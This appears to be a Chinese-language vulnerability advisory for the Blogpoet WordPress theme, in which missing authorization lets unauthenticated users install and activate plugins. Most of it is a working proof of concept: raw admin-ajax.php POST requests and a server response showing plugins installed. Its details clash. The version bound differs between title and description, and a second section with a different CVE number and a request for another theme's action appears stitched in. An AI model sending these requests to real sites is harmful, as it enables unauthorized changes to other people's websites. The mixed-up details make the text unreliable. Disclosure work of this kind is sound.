Blogpoet <= 1.0.2 - 通过 blogpoet_install_and_activate_plugins() 缺失授权
发布时间: 2024-08-29 00:00:00
分类:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
cvss-score: 5.3
cve-id: CVE-2024-43998
cpe: cpe:2.3:a:blogpoet:blogpoet:*:*:*:*:*:*:*:*
cwe-id: CWE-862
Slugs: blogpoet
描述:
WordPress 的 Blogpoet 主题在版本 1.0.3 及以下中存在漏洞，由于 blogpoet_install_and_activate_plugins() 函数缺少权限检查，导致未认证的攻击者可以安装并激活插件。
参考: [https://www.wordfence.com/threat-intel/vulnerabilities/id/019cfdff-c67b-4451-984d-](https://www.wordfence.com/threat-intel/vulnerabilities/id/019cfdff-c67b-4451-984d-a7b6973ab61d)

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/index.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 44
Origin: http://kubernetes.docker.internal
Connection: keep-alive
Priority: u=0

action=blogpoet_install_and_activate_plugins

HTTP/1.1 200 OK
Date: Tue, 10 Sep 2024 09:36:51 GMT
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.2.23
Access-Control-Allow-Origin: http://kubernetes.docker.internal
Access-Control-Allow-Credentials: true
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 701

<div class="wrap"><h1></h1><p>从 <span class="code pre">https://downloads.wordpress.org/plugin/templategalaxy.1.0.11.zip</span> 下载安装包&#8230;</p>
<p>正在解压安装包&#8230;</p>
<p>正在安装插件&#8230;</p>
<p>插件安装成功。</p>
</div><div class="wrap"><h1></h1><p>从 <span class="code pre">https://downloads.wordpress.org/plugin/advanced-import.1.4.3.zip</span> 下载安装包&#8230;</p>
<p>正在解压安装包&#8230;</p>
<p>正在安装插件&#8230;</p>
<p>插件安装成功。</p>
</div>{"success":true,"data":{"redirect_url":"http:\/\/kubernetes.docker.internal\/wp-admin\/themes.php?page=advanced-import"}}

缺失授权
CVSS 向量
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
CVE 	CVE-2024-43974
CVSS 	5.3 (中等)
公开发布时间 	2024年8月28日
最后更新 	2024年9月4日

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/index.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 44
Origin: http://kubernetes.docker.internal
Connection: keep-alive
Priority: u=0

action=revivenews_install_and_activate_plugins